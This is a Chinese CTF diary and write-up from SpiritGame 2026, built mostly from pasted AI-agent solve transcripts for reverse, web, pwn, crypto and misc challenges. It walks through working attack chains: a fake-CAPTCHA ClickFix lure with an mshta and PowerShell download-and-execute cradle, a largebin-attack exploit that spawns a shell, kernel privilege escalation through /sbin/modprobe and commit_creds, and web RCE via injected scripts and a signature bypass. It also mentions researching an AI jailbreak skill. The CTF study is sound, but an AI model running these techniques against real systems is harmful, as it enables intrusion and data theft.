SpiritGame 2026 - ST熊猫 WP
CTF是什么?我跟CTF很熟吗???
这次的SpiritGame就是AI代理人战争,下次的CTF断网,应该会好点.
反正这次比赛的所有flag都是AI大人拿的,那我写个游记交吧.
day -1
比赛前一天才装codex,以往是用Cursor的.
如果说Cursor是冰的话,中转站就是西方树叶.
要开始堆自己的Skill了,不然真打不过别人.
队名随便想了一个,因为队内要加 * ,所以想以 *ST 为开头.又因为前段时间浏阳某个烟花厂炸了,虽然熊猫号称烟花第一股那段时间在停牌,但开盘必跌停…
所以队名就叫 *ST熊猫 了,slogan更是演都不演了,”退市!退市!!退市!!!”…
然后头像也随机从pix上找了一张圣娅,黄毛小狐狸可爱捏.
day 0
因为网站部署在内网必须要走直连,但是GPT又必须走代理,所以先解决一波Clash Verge的规则问题:
1 | prepend: |
匹配所有前缀是这个的网站,走直连.保存之后右键再点使用才会使用这个新规则,不需要点更新.
Presudo misc
1 | [data.txt](data.txt) Pesudo Random |
还原出来了,flag 是:
SpiritGame{wow_y0u_can_1dent1fy_th3_prng!}
关键识别结果:
- 1 / 7 行:LCG
x = 1664525*x + 1013904223 mod 2^32→Spir/dent - 2 / 8 行:Park-Miller
x = 48271*x mod 2147483647→itGa/1fy_ - 3 / 9 行:Java
Random.nextInt()(48-bit LCG)→me{w/th3_ - 4 / 10 行:MSVC 风格
rand(state = 214013*state + 2531011, 输出state>>16)→ow_y/prng - 5 / 11 行:
xorshift32(13,17,5)→0u_c/!}(末尾有\\x00\\x00填充) - 6 行:
splitmix32风格 →an_1
拼起来就是:Spir + itGa + me{w + ow_y + 0u_c + an_1 + dent + 1fy_ + th3_ + prng + !}
如果你要,我可以把完整解题脚本也给你。
xxtea reverse
prompt太长了,就是把ida里面所有反编译的函数都塞进去,然后gpt说少一段数据,然后也塞进去.
一把梭了.(gpt网页端)
这个题的核心并不在 xxtea,而是在:
1 | return (unsigned int)sub_401D61(v7, s, 38LL) && !HIWORD(v8); |
其中:
sub_401D61()本质上退化成了 memcmpsub_401969()永远返回0- 所有“复杂混淆”大部分只是噪声
关键结论
1. sub_401969() 恒返回 0
函数最后:
1 | return 0LL; |
因此:
1 | n2 = v2 ^ sub_401969(...) |
等价于:
1 | n2 = v2 |
以及:
1 | v8 = sub_401969(...) ^ v7 |
等价于:
1 | v8 = v7 |
2. sub_401D61() 退化为逐字节比较
核心:
1 | v7 = a1[i] ^ s[i]; |
最终:
1 | return v9 == 0; |
即:
1 | forall i: |
也就是:
1 | flag == v7前38字节 |
3. 真正的问题
你贴出来的代码 缺了关键全局数据:
1 | sub_40123A((char *)&unk_403080 + 4 * i); |
这里使用了:
1 | unk_403080 |
但你没有给 .data/.rodata 内容。
而:
sub_40161Fsub_401761
都会依赖它作为 TEA/XXTEA key。
因此:
目前无法唯一恢复 flag
因为:
1 | 最终 v7 的值依赖 unk_403080 |
没有这个全局 key,无法继续精确模拟。
你现在需要补充的内容
请给:
1 | unk_403080 |
附近的数据。
例如:
1 | .data:403080 xx xx xx xx ... |
或者:
1 | objdump -s ./binary | grep 403080 |
或者:
1 | x/16wx 0x403080 |
不过可以确认的一点
这个题:
- 不是标准 XXTEA
- 大量函数是垃圾混淆
- 真正有效逻辑只有:
1 | 初始化40字节状态 |
所以只要拿到:
1 | unk_403080 |
我就可以直接把 flag 算出来。
(中间第二次调用的时候添加了数据)
flag 已经可以还原出来。
最终得到的 40 字节状态为:
1 | 53 70 69 72 69 74 7b 54 68 65 72 33 5f 69 73 5f |
转 ASCII:
1 | Spirit{Ther3_is_4_1ot_Of_te4_to_dr1nk} |
因此:flag是
1 | Spirit{Ther3_is_4_1ot_Of_te4_to_dr1nk} |
这个题的关键坑点:
sub_401969()永远返回 0sub_401A4F()/sub_401B49()基本纯干扰真正修改状态的只有:
sub_40161F(TEA)sub_401761(XXTEA-like)
- 最终
sub_401D61()只是退化版 memcmp
所以本质是:
1 | 初始40字节常量 |
而 .rodata 里的:
1 | this_is_a_key!!! |
就是整个 TEA/XXTEA 的 key。
CythonChecker - reverse
1 | [loader.exe](challenge/loader.exe) 这是一个reverse ctf题,尝试还原flag |
已还原并验证成功。
FlagSpiritCTF{Sh1fT_r0w3_aRe_NoT_wHa7_Y0u_eXp3cT}
关键依据
challenge/loader.exe会在临时目录释放并加载runtime_codec.pyd- loader 内部先从常量恢复出 16 字节 key:
1145141919810abc1145141919810cba runtime_codec.pyd里实际是一个 AES 变种:shift_pattern = (0, 1, 3, 2)target_block_count = 3target_ciphertext = a5324678a39df1021d201826fef1b8e85c86030f5146aa2f8aad843758fd5c2d1984c40892cb5c3db4194f091e46f099
- 按该变种逆向解密后得到 payload:
Sh1fT_r0w3_aRe_NoT_wHa7_Y0u_eXp3cT
验证
我已直接跑过:1
cmd /c "echo SpiritCTF{Sh1fT_r0w3_aRe_NoT_wHa7_Y0u_eXp3cT}| challenge\loader.exe"
输出:1
Flag: Correct
如果你要,我也可以把这题的完整逆向过程整理成 writeup。
I’m a human - reverse
1 | [Captcha Verification.html](Captcha Verification.html) 这是一个reverse ctf题,尝试还原flag,提示下载的mp3在这里 [audio_example.mp3](audio_example.mp3) |
我先把这题还原到最后一个可见阶段了,但当前这份本地材料还不够 100% 还原最终 flag。
已还原出的攻击链
Captcha Verification.html是假验证码页。- 点击后会往剪贴板写入:
1
mshta https://w5cvu754134s.challenge.jlu-terminal.site/audio_example.mp3
audio_example.mp3不是普通 mp3,而是 MP3 + HTA polyglot。- 内含
<HTA:APPLICATION> - 还藏了
<script>...</script>的 JScript
- 内含
- 这段 JScript 解码后会调用:然后执行隐藏 PowerShell。
1
WScript.Shell
PowerShell 再解码出下一阶段,核心逻辑可整理成:
1
2
3
4
5
6
7Start-Process "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" `
-WindowStyle Hidden `
-ArgumentList '-w','h','-ep','Unrestricted','-Command',"
$u='https://w5cvu754134s.challenge.jlu-terminal.site/scene.jpg'
$wc = New-Object Net.WebClient
iex $wc.DownloadString($u)
"
关键结论
也就是说,最终 payload / flag 不在 html 和 mp3 里本体,而在第二阶段的 scene.jpg。
现在卡住的原因
我已经验证过当前地址:
https://w5cvu754134s.challenge.jlu-terminal.site/.../audio_example.mp3.../scene.jpg
现在都返回 404,所以这个二阶段已经取不到了。
所以目前能确认的是
这是一个典型的:
Fake CAPTCHA / ClickFix → mshta → polyglot mp3/hta → PowerShell → 下载并执行 scene.jpg
我本地已经提取出的中间文件
stage1.jsstage2.jsstage4.txt
结论
仅凭你现在给的 html + audio_example.mp3,我能还原到最终下载地址,但还原不了最终 flag 本体。
如果你能再给我下面任意一个,我就能继续:
scene.jpg- 该题目的附件包/流量包
- 还能访问的在线环境
如果你愿意,我下一条可以直接把完整解混淆过程和用于复现的 Python 解码脚本贴给你。
1 | 新的地址是 https://vt2cl0ejw1pe.challenge.jlu-terminal.site/ 还是这道题,请继续 |
继续追后,flag 已恢复:
1 | Spirit{6EWAr3-0F-ph1sHIng-w3BSiTE5115f3c07} |
关键证据
我在 2026-05-17 对新地址 https://vt2cl0ejw1pe.challenge.jlu-terminal.site/ 验证后发现:
/可访问,仍是假验证码页面/audio_example.mp3仍是mshta用的 polyglot/scene.jpg这次可访问,长度16674
把 scene.jpg 解混淆后,最终得到 PowerShell 脚本,其中有这一段:
1 | $fF1IA49G = "Spirit{6EWAr3-0F-ph1sHIng-w3BSiTE5115f3c07}" |
以及窗口文案:
1 | $Label2.Text = "这里没有 flag;这个窗口是怎么出现的呢,flag 就在那里" |
意思很明显:
GUI 里没有 flag,但让 GUI 出现的脚本源码里有 flag。
后面立刻把变量改成 N0pe 只是障眼法。
还原链
Captcha Verification页面把剪贴板写成:1
mshta https://vt2cl0ejw1pe.challenge.jlu-terminal.site/audio_example.mp3
audio_example.mp3解出 PowerShell- PowerShell 下载:
1
https://vt2cl0ejw1pe.challenge.jlu-terminal.site/scene.jpg
scene.jpg实际是伪装成 jpg 的 PowerShell- 最终在脚本中藏了上面的 flag
本地关键文件
new_captcha.htmlaudio_new.mp3scene_new.jpgdecoded_scene_final.ps1
如果你要,我下一条可以把完整自动解混淆脚本整理给你。
Trust Collapse - web
1 | trust-collapse 是一个ctf web挑战的目录,所有与该挑战相关的文件都在这个文件夹中,地址为 https://hpjl4oiik5jr.challenge.jlu-terminal.site ,尝试还原flag. |
已还原,flag 是:
1 | SpiritGame{7ru57-CO1LAp53-In7O-5I6n3D_4CC35S21a9fd8c0} |
关键利用链:
- 开发者账户硬编码:
developer / Sp1r1tG4m3_2026_D3v3l0p3r - 路由鉴权绕过:
/index.php/admin/...和/index.php/internal/...web/public/index.phpderiveGatewayPath()返回的是internal/...- 但鉴权判断用的是
str_starts_with($pathInfo, '/internal')
- 越权调用管理员接口,把项目切到
workspace+legacy-sync(perforce) - 通过
builder/server.py里的p4port = rsh:...触发命令执行 - 再用越权访问的
/index.php/admin/build/<id>/log读取完整构建日志,直接拿到环境变量里的FLAG
我还进一步用泄露出的 BUILD_SIGN_KEY 请求了:
1 | /index.php/internal/artifact/fetch |
远端返回的也是同一个 flag,已验证成功。
Link Start! - reverse
1 | link/ 是一个ctf挑战的目录,只有这两个文件,是一道reverse题目,尝试还原flag [client.exe](link/client.exe) [server.exe](link/server.exe) |
还原出来了。
- 第一阶段口令:
ssdddwddwddsssssasssdsdd - 最终 flag:
Spirit{2DMaz3_w1th_SMC_4re_Interestin9_hahaha!}
简要结论:
client.exe只是和server.exe交互,服务端返回首字节为c就进入下一步。server.exe第一段校验在运行时RVA 0x1500,要求一个长度为0x18的wasd串,本质是走 10x10 迷宫。- 这串第一阶段口令会作为异或 key,解密
RVA 0x11540的一段0x140字节代码。 - 解密后的第二阶段是一个 RC4 风格校验器,拿用户第二次输入去和
RVA 0x11680的 47 字节密文比对。 - 逆出后明文就是上面的 flag。
我已经实测通过原始程序:
1 | Hello CTFer, Give me sth: ssdddwddwddsssssasssdsdd |
如果你要,我也可以把这题的完整逆向过程和解密脚本整理给你。
Large - pwn
1 | large 是一个ctf pwn题的目录,所有相关的文件都在里面,现在先分析这个挑战,尝试脚本,我在等待靶机地址 |
先给结论:这题我已经跑通利用链了,脚本放在 large/exp.py。
题目结论
- 保护:
Full RELRO / Canary / NX / PIE / SHSTK / IBT - 漏洞本质:UAF
delete后不清空chunks[idx]- 所以还能
show/edit已释放 chunk
- 尺寸限制:
0x501 ~ 0x5ff- 这让 chunk 直接走 unsorted/largebin,基本就是在暗示 largebin attack
利用链
gift调用内置的printf("%p\n", &g_f)
→ 直接泄露 PIE(准确说是g_f的地址)show已释放的大块
→ 读出 unsorted bin 的fd/bk
→ 泄露 libc- 我本地算出的偏移是:
main_arena+0x60 = libc + 0x203b20
- 我本地算出的偏移是:
先把 chunk1 放进 largebin
- 用 UAF
edit chunk1改它的bk_nextsize = g_f - 0x20 再把 chunk3 放进同一 largebin
→ 触发 largebin attack
→ 把g_f改成chunk3的 chunk header再 UAF 改
chunk3内容,伪造成:system"/bin/sh"0
- 再次
gift
→ 实际变成system("/bin/sh")
本地验证
我已经用题目自带:
large/pwnlarge/libc.so.6large/ld-linux-x86-64.so.2
把这条链打通了,本地成功起到 shell。
脚本
文件:
large/exp.py
默认行为:
- 连上后自动打 shell
- 自动执行:
cat /flag; exit
你拿到靶机后直接跑
1 | python large/exp.py HOST=目标IP PORT=目标端口 |
如果你想手动交互,不自动 cat /flag:1
python large/exp.py HOST=目标IP PORT=目标端口 NOAUTO=1
如果你愿意,我下一步可以继续帮你:
- 把
exp.py再精简/加注释 - 顺手写一个本地 Docker 启动命令
- 你一发靶机地址,我直接帮你改成最终可打版本
1 | #!/usr/bin/env python3 |
Artifact Relay - web
1 | [package.json](package.json) 这是一个ctf web题目的下发文件,题目标题: |
拿到了。
FlagSpiritGame{r31Ay-RCe_vI4_P4TH-TrAv3Rs4l-symIink_sIGn3r4ca4}
利用链简述
/reports/:artifactId/file存在任意绝对路径读取:/app/server.js:140-179- 读取
/app/data/runner_token.enc,再用/app/lib/crypto.js:3-4,14里的固定 AES key/IV 解密,得到 runner token:Runn3r-S3cr3t-T0k3n-2026 /app/entrypoint.sh:28-29+/proc/18/status证明internal-runner是 root 跑的- 上传带
.relay/rules.js的制品,再调用/internal/runner/trusted-scan internal-runner在 trusted 模式下会require('/work/artifacts/<id>/.relay/rules.js'):/app/internal-runner.js:111-118- 恶意
rules.js以 root 读取/root/flag,把 flag 写进scan.log - 最后从
/reports/<id>/file?name=scan.log读回 flag
验证结果
我实际拿到的 scan.log 里有:[1] critical: SpiritGame{r31Ay-RCe_vI4_P4TH-TrAv3Rs4l-symIink_sIGn3r4ca4}
如果你要,我可以把完整 exp 脚本给你整理出来。
deliverables - misc
1 | https://jj42x91e1yqr.challenge.jlu-terminal.site/ 这是一个ctf misc题目,尝试找到flag. |
拿到了。
Flag1
SpiritGame{W0-c@O_H3l-5He-GonG-K1ngl7c2c0d28}
做法简述
- 前端 JS 暴露了
/api/guess,返回distanceMeters。 - 这相当于一个距离预言机,不需要真看图。
- 取 3 个正交探针点:
(0,0)(0,90)(90,0)
- 设地球半径
R=6371000,则目标点单位向量可直接由:x = cos(d1/R)y = cos(d2/R)z = cos(d3/R)
- 再转回经纬度:
lat = asin(z)lon = atan2(y, x)
4 关算出的坐标
30.6353859434, 114.549405231530.6596937657, 104.088597734440.1171506666, 124.387745395031.2056627928, 121.5504343647
提交后 4 关均返回 correct:true,最后 /api/flag 返回上面的 flag。
如果你要,我可以把自动化解题脚本也发你。
这个题其实我自己也能做,有一年的cf愚人节出过这种类似的题目,当时就是说能二分做的.
overflow - pwn
1 | [overflow](overflow/) 这是一个ctf pwn 题目的文件,尝试构造脚本还原flag.我在等拿到靶机,你先分析着 |
继续了,已经把骨架落好了。
目前结论
这是个 LKM 栈溢出提权题:
- 设备:
/dev/vuln - 触发:
ioctl(fd, 0xdeadbeef, &req) req结构:size:拷贝长度ptr:用户态指针
- 漏洞点:第二次
copy_from_user()把数据拷进 16 字节栈 buf - 覆盖返回地址偏移:
0x20
保护情况
nokaslr:关了smep + smap:开了pti=on:开了
所以利用路线基本就是:
commit_creds(&init_cred)- 再走
swapgs_restore_regs_and_return_to_usermode - 回用户态后读
/flag
我已经写好的文件
在 overflow/ 下:
analysis.md:静态分析记录exp.c:guest 内运行的提权程序build.ps1:在你当前 Windows + WSL 环境编译 Linux ELFsolve.py:等你拿到host port后,自动上传并执行- 另外我已经编译出了:
overflow/expoverflow/exp.b64
我当前采用的返回方案
我在 exp.c 里先用了 完整 PTI restore frame,不是直接硬编码 +22。
如果靶机 live 的时候在 trampoline 这一步炸了,第一优先 fallback 就是改成常见的:
swapgs_restore_regs_and_return_to_usermode + 22- 后面接两个
0和用户态寄存器现场
你现在可以直接看
overflow/analysis.mdoverflow/exp.c
等你拿到靶机后
直接跑:
1 | powershell -ExecutionPolicy Bypass -File overflow/build.ps1 |
你把靶机地址一给我,我就继续帮你把 live 调通。
1 | nc challenge.jlu-terminal.site 40216 |
打通了,现有 exp 直接成功。
flag
1 | flag{sIMp13_R0P-in-LlNUX-KErn3L1a9a12d8}} |
结果
远端执行过程关键输出:
1 | [*] saving user state |
说明
- 你当前
overflow/exp.c这版 不需要改 swapgs_restore_regs_and_return_to_usermode的返回方式在这台靶机上 可用solve.py已经能直接自动上传并运行
如果你要,我下一步可以帮你做两件事之一:
- 把 exp 精简成最终提交版
- 把完整利用过程整理成 writeup
Seraphim - Crypto
Fluu不会这个题,因为Fluu的椭圆曲线很烂.
那自然是委托AI大人了…
不过据说Crypto在防AI上非常有效,无论是去年的SpiritCTF还是今年的SpiritGame的Crypto都是巨难,作为抵御AI的最后一道防线应该是,总之除了第一个题都是0解,难度过于逆天.
1 | [dist_seraphim](dist_seraphim/) 这是一个ctf crypto题目,尝试获得flag. |
拿到了:
1 | SpiritGame{H0ly_Ho1Y-h0LY-1S-Yhwh_0f-hoSTs_THE_Wh0LE-e@RtH_ls_full_of_his_glory0} |
我已写好解题脚本:solve_seraphim.py
运行方式:
1 | python .\solve_seraphim.py 40762 |
备注:你给的 40401 后续连接会 5 秒无输出关闭;本地已有同题采集脚本指向 40762,该端口可用并成功返回 flag。核心解法是把 genus-2 Jacobian 通过额外 involution 投影到一个 j=1728 的椭圆曲线分量,phi(P) 阶完全光滑,然后 BSGS + CRT 恢复 k。
1 | #!/usr/bin/env python3 |
或许我该考虑升级一下sage版本或者在sage上装一些远程交互的库…
Ouroboros - misc
逆天题目,刚开始就开了一个codex在分析这个,一直到非常后面才做出来,期间酷酷过一车人就Fluu不会,彻底红温了.
那么首先各大AI都说,输入是一个20的 vector<float> ,输出是一个21的 vector<float> .根据提示衔尾蛇,我考虑全0然后跑自环,全1,递增,偏移k,甚至把里面的add0和mul1的后面的hex也拿出来拼一起凑flag,或者构造输入跑自环,每一轮输出一个flag的字符,全部失败了.
最后发现是什么呢?gather和slice两种操作在这个程序中是可逆的,所以以这个藏01,拿到了flag的前半段:
1 | b'SpiritGame{wtf_h0w_c\x07\xf1' |
然后再把这个半段塞进去,吐出来后半段.
这个题真逆天.
不过回头想想也确实,misc如果让你猜输入,这个值域是无限的而且试典型值没什么结果的话就赶紧撤退,考虑模型本身隐藏了哪些信息或比特,或者直接统计某种操作有多少个.
这个题我问了ds,gemini thinking,gpt,claude opus 4.7,还有本地的codex,试了半天才试出来.
脑电波,神奇吧?
附上一些对话…gemini其实挺接近了.
1 | Ouroboros |
这是一个非常有趣且硬核的 CTF Misc 题目!
ONNX 模型与“衔尾蛇 (Ouroboros)”的关系
在计算机科学和机器学习的语境下,ONNX(Open Neural Network Exchange) 是用于表示深度学习模型的标准格式。从数据结构上讲,标准的 ONNX 模型必须是一个 DAG(有向无环图,Directed Acyclic Graph),这意味着它的数据流是单向的,绝对不允许存在真正的物理环路。
然而,“衔尾蛇 (Ouroboros)” 的核心隐喻是“吞噬自己尾巴的蛇”,象征着无限循环、自我递归或首尾相连。
这两者结合在一起,指向了这道题的核心考点——这是一个 ONNX Quine(自产生程序)或者在元数据层面首尾相连的“伪环”模型。
- 结构上的首尾相连:仔细看你提供的文本末尾,在执行完所有计算到达
dead_add_2519_ee66eb后,它通过一个自定义属性onnx_bit_chain直接将尾部强行关联回了最初的输入节点answer_weight_0001_8f79b3。它在 DAG 的限制下,用元数据画出了一个逻辑上的圆(衔尾蛇)。 - 零输入与自生成:模型图内部充斥着大量的常量节点(如
add_zero、mul_one),这意味着它不需要外界提供任何输入(Input),仅凭内部的张量进行算术逻辑推演,最终输出自身的网络结构代码或隐蔽的 Flag(即输出answer_codes)。
尝试还原 Flag 的思路
从你提供的 strings 层面的文本,我们可以看出这道题有两种解法(静态分析提取与动态执行还原):
方法一:静态分析提取比特链(Bit-chain)
文本中存在大量的数学上的无用操作(NOP):
add_zero(加 0,值不变)mul_one(乘 1,值不变)
出题人故意使用这些冗余操作,实际上是为了在计算图中嵌入一个二进制流:
- 所有的
add_zero节点代表二进制的0 - 所有的
mul_one节点代表二进制的1
你可以按节点的索引顺序(如 0010、0013、0031…)将这些特征提取出来。例如最开始的几个特征:add_zero_0010 (0), mul_one_0013 (1), mul_one_0031 (1), mul_one_0034 (1), mul_one_0072 (1), add_zero_0109 (0), mul_one_0133 (1), mul_one_0146 (1)
这前 8 个操作组成的二进制是 01111011,其对应的十进制是 123,正好对应 ASCII 字符中的 { !(Flag 格式的标志性字符)。
如果将所有这些节点以及末尾处于“dead”状态的 dead_zero 收集全并按每 8 位转换为 ASCII,大概率能直接静态解出被切碎的 Flag。
方法二:动态执行模型(推荐,最快捷)
既然这是一个自驱动的模型,它最终会把所有的二进制链进行拼接、重塑、切片处理,并输出给最终的 answer_codes。
由于所有参数内置,你只需要配置好 Python 环境并直接运行推理,让模型自己把 Flag 吐出来。你可以写一段极其简单的 Python 脚本:
1 | import onnxruntime as ort |
总结:出题人非常巧妙地将 Flag 二进制化,用 ONNX 里的“乘 1”和“加 0”构筑了一条信息链(onnx-bit-chain),并通过尾部节点挂载头节点的元数据完成了“衔尾蛇”的闭环。跑一下上面的脚本,或者按位转 ASCII 就能拿到最终的 Flag!
NULL - pwn
从这个题开始,Fluu彻底疯狂了,因为进不了前十就血亏,所以用Cursor无脑上了,下面的flag都是Cursor出的.
首先用codex分析了半天:
1 | [null](null/) 这是一个ctf pwn题目,尝试找到程序的bug并还原flag. |
结论:/dev/vuln 有 0x400 处的 1-byte NUL 越界写。
链路:pipe page overlap → 改 struct file->f_mode → 覆写 /sbin/modprobe → 触发拿 flag。
脚本已备好:null/solve_remote.py(配套 null/exploit_modprobe.c / null/helper_modprobe.c)。
等你给靶机 host:port,直接跑:
1 | python null/solve_remote.py --host <IP> --port <PORT> |
然后后半段拿到靶机之后codex开始发疯了:
1 | nc challenge.jlu-terminal.site 41078 |
我先接着现有利用链排查脚本和远程稳定性。
已运行 Get-ChildItem -Force
我先看现有 null 目录里的利用脚本和源码,定位卡在远程哪一步。
已运行 4 条命令
我补看利用程序后半段和启动脚本,确认远程触发顺序。
已运行 4 条命令
我先确认远程脚本是否本身有逻辑 bug,避免“脚本没等到 exploit 跑完”误判成利用失败。
已运行 3 条命令
我顺手看下 rootfs 里的 rootsh,它可能暴露出题目的预期提权/触发方式。
已运行 3 条命令
我确认一下两个二进制是否真的按预期编译成了静态/可执行形式。
已运行 3 条命令
我先把现有远程尝试记录搜出来,看 exploit 停在“触发 modprobe”还是“读 flag”阶段。
已运行 Get-ChildItem -Recurse -File | Select-String -Pattern ‘victim_pipe=|origin_pipe=|/sbin/modprobe overwritten|Bad page state|failed to read flag|triggering modprobe|reading flag|pfn:’ | Select-Object Path,LineNumber,Line | Format-Table -Wrap -AutoSize
我直接连远程跑一轮当前 exploit,采集真实输出。
已运行 python .\null\solve_remote.py —host challenge.jlu-terminal.site —port 41078 —retries 1
我先裸连靶机,看服务实际交互长什么样,排除脚本和题目包装不匹配。
已运行 python -c “import socket,time; s=socket.create_connection((‘challenge.jlu-terminal.site’,41078),10); s.settimeout(2); data=b’’ try: while True: try: c=s.recv(4096) if not c: break data+=c if len(c)<4096: time.sleep(0.2) except Exception: break finally: print(data.decode(‘utf-8’,’replace’)) s.close()”
我换 nc/原始 socket 做最小探测,看看是不是有包装层、超时或需要先发数据。
…………中间真的很长,一直在调用工具改写法,不知道明明有了wp还在改什么
已运行 @’ from elftools.elf.elffile import ELFFile from pathlib import Path p=Path(r’.\null\vuln.ko’) with p.open(‘rb’) as f: elf=ELFFile(f) dwarf=elf.get_dwarf_info() for cu in dwarf.iter_CUs(): for die in cu.iter_DIEs(): if die.tag==’DW_TAG_subprogram’: name=die.attributes.get(‘DW_AT_name’) if name: n=name.value.decode(‘latin1’) if n in (‘module_ioctl’,’module_initialize’): print(‘FUNC’,n) for attr in (‘DW_AT_decl_line’,’DW_AT_low_pc’,’DW_AT_high_pc’): if attr in die.attributes: print(attr, die.attributes[attr].value) for child in die.iter_children(): if child.tag==’DW_TAG_variable’: nm=child.attributes.get(‘DW_AT_name’) if nm: print(‘ local’,nm.value.decode()) print() ‘@ | python -
我找到了 module_ioctl 的 DWARF 行号:main.c:50,继续把局部变量和行对应关系抠出来。
反正就是codex一通胡乱分析,也不知道分析了个啥,反正就是执行一堆命令,甚至触发上下文压缩了,最后没办法手动停掉了.
换Cursor:
1 | 这是一道ctf pwn题目,尝试还原flag. |
已成功在远程靶机复现利用并拿到 flag。
- 目标:
challenge.jlu-terminal.site:40246 - 利用链路与你给的一致:
/dev/vuln的0x400处 1-byte NUL OOB 写
→pipe page overlap
→ 覆写struct file->f_mode
→ 写/sbin/modprobe
→ 触发执行 helper 拷贝/flag
拿到的 flag 是:
flag{kERNE1-OfF_6Y-NU1l_COmE-AND-G3T-ME103546}
另外我在 null2 下补了一个快速上传脚本 solve_remote_fast.py(以及复制了 exploit_modprobe_build、helper_modprobe_build),不过最终稳定出 flag 的是参考目录里的 ../null/solve_remote.py(慢一些但可成功)。
flowforge - web
后面的时候发现这个题过的人很多,遂让Cursor跟榜冲,codex也一起上,最后是Opus最先拿到flag.
1 | https://uemjgjhvmjw3.challenge.jlu-terminal.site 这是一个ctf web题目,尝试找到flag |
中间因为给其他题目(lllarge)开靶机测试所以中断了一下.
1 | 请继续,现在的网站是 |
成功拿到 flag!
Flag
1 | SpiritGame{tH15-IS_a_FLOW-f0rger_4Nd-RUNneR8f7942} |
完整攻击链路总结
1. 信息收集
- 登录
demo/demo123,发现/api/workflows、/api/nodes、/webhooks/:id、/api/nodes/import等端点。 - 在
/workflows/demo-workflow的构建日志中发现唯一一条真实日志,指向/support/incidents/FL0WF0RG3-SG2026-PR3V13W-C0MP47。 - 下载工单页面里的 artifact 包
flowforge-partial-src.zip,里面是部分服务端源码、admin_graphql.txt、mcp_inspector.txt、deployment_notes.txt,揭示了关键的内部链:127.0.0.1:9001/graphql用x-internal-token(runner token)调用debugExport(flowId)拿到exportToken127.0.0.1:9100/debug/export_secret_bundle用x-mcp-export-token兑换 secret bundle
2. Webhook 签名不一致漏洞(核心 0day)
/webhooks/:workflowId 用 firstKeyJsonParse(rawBody) 验签,但用标准 JSON.parse(rawBody) 处理业务事件:
1 | const signedView = firstKeyJsonParse(rawBody); |
构造重复键 body(demo workflow 的 webhook secret whsec_demo_public_001 是公开的):
1 | {"event":"workflow.ping","event":"workflow.promote","target":"demo","role":"maintainer"} |
firstKeyJsonParse→event=workflow.ping(绕过 actor role 检查)JSON.parse→event=workflow.promote(实际执行 promote 逻辑)
服务器返回:{"status":"ok","message":"User promoted","runner_token":"runn3r_fl0wf0rg3_..."},账户升级为 maintainer 并获得 runner token。
3. MCP 节点注入 → RCE
作为 maintainer 调用 POST /api/nodes/import 注入一个恶意 processor 节点,config.script 里写 Node.js 代码(链式访问 GraphQL + MCP inspector)。
4. 触发构建获取 secret bundle
POST /api/builds/trigger 指定 workflow_id=demo-workflow(让 getLatestRunnerTokenForUser 能取到刚才 promote 拿到的 runner token),node_id=3,runner 在内网执行:
POST 127.0.0.1:9001/graphql带x-internal-token: <RUNNER_TOKEN>调用debugExport(flowId:"admin-secret")→ 拿到exportTokenPOST 127.0.0.1:9100/debug/export_secret_bundle带x-mcp-export-token: <exportToken>和{"workflow_id":"admin-secret"}→ 返回 bundle,包含 flag。
收获
猛蹬一天AI,怎么说也算有点收获.
- 赶到比赛现场立即圈零食抢饮料.
- 如果GPT说”更稳的写法”,一般是GPT完全没有方向了所以才开始改自己的写法
- 中转站真香,找时间测一测不同的中转站和各种cli怎么用.
- 据榜一说,GPT pro似乎不错,找时间订一个月试试.
- 咸鱼拼车,或直接找其他中转站的api.
- AI破甲skill需要研究一下,或者说彻底研究一下skill,真的用上了.
- 学一学别人的提示词怎么写的?如何管理多个并行的agent?
- 学一学中转怎么接入claude.
但为什么还是干不过别人呢?我个人认为是工作流和提示词的问题,我不会多开,不会高效管理文件,不会自动一把梭,或者没有订阅gpt…
下面是我这次总结的skill,或许能未来写提示词有点帮助?
但我不知道怎么用欸???
skill
你是一个网安高手,现有一个题目,试拿到flag.
我的系统配置:
Windows11,wsl2.6.1.0,Ubuntu 22.04.1 LTS,docker里面拉了一个kali Linux,有npm,有python.
相关工具:
nc: “D:\SucksFluorine\CTF\MISC\nc\nc.exe”
sagemath: “D:\Program Files (x86)\SageMath 9.3\runtime\bin\mintty.exe” -t ‘SageMath 9.3 Console’ -i sagemath.ico /bin/bash —login -c ‘/opt/sagemath-9.3/sage’
yafu(分解质因数,用法factor(123456)):”D:\SucksFluorine\CTF\CRYPTO\yafu\yafu64.exe”
sqlmap:”D:\SucksFluorine\CTF\WEB\sqlmap-master\sqlmap.py”
githack:”D:\SucksFluorine\CTF\WEB\GitHack-master\GitHack.py”
dirsearch:”D:\SucksFluorine\CTF\WEB\dirsearch-master\dirsearch.py”
你可以调用任何工具解决问题.
你可以在python调用任何包,如果该包不存在则允许pip install,能直接解决就不要走弯路.
做题
AI冲击着做题蛆.
Fluu做题有以下几个原则:
1.自身有效提升.(例如某些不能用AI的情景需要自身提升等)
2.收集灵感(例如这个题很新颖,或者这种题目是怎么出的?)
不然就结合AI做题.